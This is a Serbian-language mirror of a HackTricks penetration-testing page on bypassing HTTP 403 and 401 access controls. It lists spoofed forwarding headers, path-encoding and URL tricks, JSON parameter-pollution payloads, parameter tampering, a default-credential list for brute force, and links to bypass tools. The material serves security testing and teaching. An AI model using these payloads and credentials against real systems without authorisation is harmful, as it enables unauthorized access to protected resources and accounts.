mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
134 lines
7.1 KiB
Markdown
134 lines
7.1 KiB
Markdown
# 403 & 401 Bypasses
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
<figure><img src="../../images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Dobijte perspektivu hakera na vaše web aplikacije, mrežu i oblak**
|
||
|
||
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
|
||
|
||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||
|
||
## HTTP Verbs/Methods Fuzzing
|
||
|
||
Pokušajte koristiti **različite glagole** za pristup datoteci: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
|
||
|
||
- Proverite zaglavlja odgovora, možda se može dobiti neka informacija. Na primer, **200 odgovor** na **HEAD** sa `Content-Length: 55` znači da **HEAD glagol može pristupiti informacijama**. Ali još uvek morate pronaći način da exfiltrirate te informacije.
|
||
- Korišćenje HTTP zaglavlja kao što je `X-HTTP-Method-Override: PUT` može prepisati korišćeni glagol.
|
||
- Koristite **`TRACE`** glagol i ako imate sreće, možda u odgovoru možete videti i **zaglavlja koja su dodali međuproksiji** koja bi mogla biti korisna.
|
||
|
||
## HTTP Headers Fuzzing
|
||
|
||
- **Promenite Host zaglavlje** na neku proizvoljnu vrednost ([to je ovde uspelo](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
||
- Pokušajte da [**koristite druge User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) za pristup resursu.
|
||
- **Fuzz HTTP zaglavlja**: Pokušajte koristiti HTTP Proxy **zaglavlja**, HTTP autentifikaciju Basic i NTLM brute-force (samo sa nekoliko kombinacija) i druge tehnike. Da bih sve ovo uradio, napravio sam alat [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
|
||
|
||
- `X-Originating-IP: 127.0.0.1`
|
||
- `X-Forwarded-For: 127.0.0.1`
|
||
- `X-Forwarded: 127.0.0.1`
|
||
- `Forwarded-For: 127.0.0.1`
|
||
- `X-Remote-IP: 127.0.0.1`
|
||
- `X-Remote-Addr: 127.0.0.1`
|
||
- `X-ProxyUser-Ip: 127.0.0.1`
|
||
- `X-Original-URL: 127.0.0.1`
|
||
- `Client-IP: 127.0.0.1`
|
||
- `True-Client-IP: 127.0.0.1`
|
||
- `Cluster-Client-IP: 127.0.0.1`
|
||
- `X-ProxyUser-Ip: 127.0.0.1`
|
||
- `Host: localhost`
|
||
|
||
Ako je **putanja zaštićena**, možete pokušati da zaobiđete zaštitu putanje koristeći ova druga zaglavlja:
|
||
|
||
- `X-Original-URL: /admin/console`
|
||
- `X-Rewrite-URL: /admin/console`
|
||
|
||
- Ako je stranica **iza proksija**, možda je proksi taj koji vam sprečava pristup privatnim informacijama. Pokušajte da zloupotrebite [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **ili** [**hop-by-hop zaglavlja**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
|
||
- Fuzz [**posebna HTTP zaglavlja**](special-http-headers.md) tražeći različite odgovore.
|
||
- **Fuzz posebna HTTP zaglavlja** dok fuzzujete **HTTP metode**.
|
||
- **Uklonite Host zaglavlje** i možda ćete moći da zaobiđete zaštitu.
|
||
|
||
## Path **Fuzzing**
|
||
|
||
Ako je _/path_ blokiran:
|
||
|
||
- Pokušajte koristiti _**/**_**%2e/path \_(ako je pristup blokiran od strane proksija, ovo bi moglo zaobići zaštitu). Pokušajte takođe**\_\*\* /%252e\*\*/path (dupla URL enkodiranje)
|
||
- Pokušajte **Unicode bypass**: _/**%ef%bc%8f**path_ (URL enkodirani karakteri su poput "/") tako da kada se ponovo enkodira, biće _//path_ i možda ste već zaobišli proveru imena _/path_
|
||
- **Drugi zaobilaženja putanje**:
|
||
- site.com/secret –> HTTP 403 Forbidden
|
||
- site.com/SECRET –> HTTP 200 OK
|
||
- site.com/secret/ –> HTTP 200 OK
|
||
- site.com/secret/. –> HTTP 200 OK
|
||
- site.com//secret// –> HTTP 200 OK
|
||
- site.com/./secret/.. –> HTTP 200 OK
|
||
- site.com/;/secret –> HTTP 200 OK
|
||
- site.com/.;/secret –> HTTP 200 OK
|
||
- site.com//;//secret –> HTTP 200 OK
|
||
- site.com/secret.json –> HTTP 200 OK (ruby)
|
||
- Koristite [**ovu listu**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) u sledećim situacijama:
|
||
- /FUZZsecret
|
||
- /FUZZ/secret
|
||
- /secretFUZZ
|
||
- **Druga API zaobilaženja:**
|
||
- /v3/users_data/1234 --> 403 Forbidden
|
||
- /v1/users_data/1234 --> 200 OK
|
||
- {“id”:111} --> 401 Unauthorized
|
||
- {“id”:\[111]} --> 200 OK
|
||
- {“id”:111} --> 401 Unauthorized
|
||
- {“id”:{“id”:111\}} --> 200 OK
|
||
- {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (JSON Parameter Pollution)
|
||
- user_id=ATTACKER_ID\&user_id=VICTIM_ID (Parameter Pollution)
|
||
|
||
## **Manipulacija parametrom**
|
||
|
||
- Promenite **vrednost parametra**: Od **`id=123` --> `id=124`**
|
||
- Dodajte dodatne parametre u URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
|
||
- Uklonite parametre
|
||
- Ponovo poredajte parametre
|
||
- Koristite posebne karaktere.
|
||
- Izvršite testiranje granica u parametrima — pružite vrednosti poput _-234_ ili _0_ ili _99999999_ (samo neki primeri).
|
||
|
||
## **Verzija protokola**
|
||
|
||
Ako koristite HTTP/1.1 **pokušajte da koristite 1.0** ili čak testirajte da li **podržava 2.0**.
|
||
|
||
## **Druga zaobilaženja**
|
||
|
||
- Dobijte **IP** ili **CNAME** domena i pokušajte **kontaktirati ga direktno**.
|
||
- Pokušajte da **opterećujete server** šaljući uobičajene GET zahteve ([Ovo je uspelo ovom tipu sa Facebookom](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
||
- **Promenite protokol**: sa http na https, ili za https na http
|
||
- Idite na [**https://archive.org/web/**](https://archive.org/web/) i proverite da li je u prošlosti ta datoteka bila **globalno dostupna**.
|
||
|
||
## **Brute Force**
|
||
|
||
- **Pogodite lozinku**: Testirajte sledeće uobičajene akreditive. Da li znate nešto o žrtvi? Ili ime CTF izazova?
|
||
- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Pokušajte osnovnu, digest i NTLM autentifikaciju.
|
||
```:Common creds
|
||
admin admin
|
||
admin password
|
||
admin 1234
|
||
admin admin1234
|
||
admin 123456
|
||
root toor
|
||
test test
|
||
guest guest
|
||
```
|
||
## Automatski alati
|
||
|
||
- [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
|
||
- [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
|
||
- [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass)
|
||
- [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
|
||
- [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
|
||
- [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden)
|
||
|
||
<figure><img src="../../images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
|
||
|
||
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
|
||
|
||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|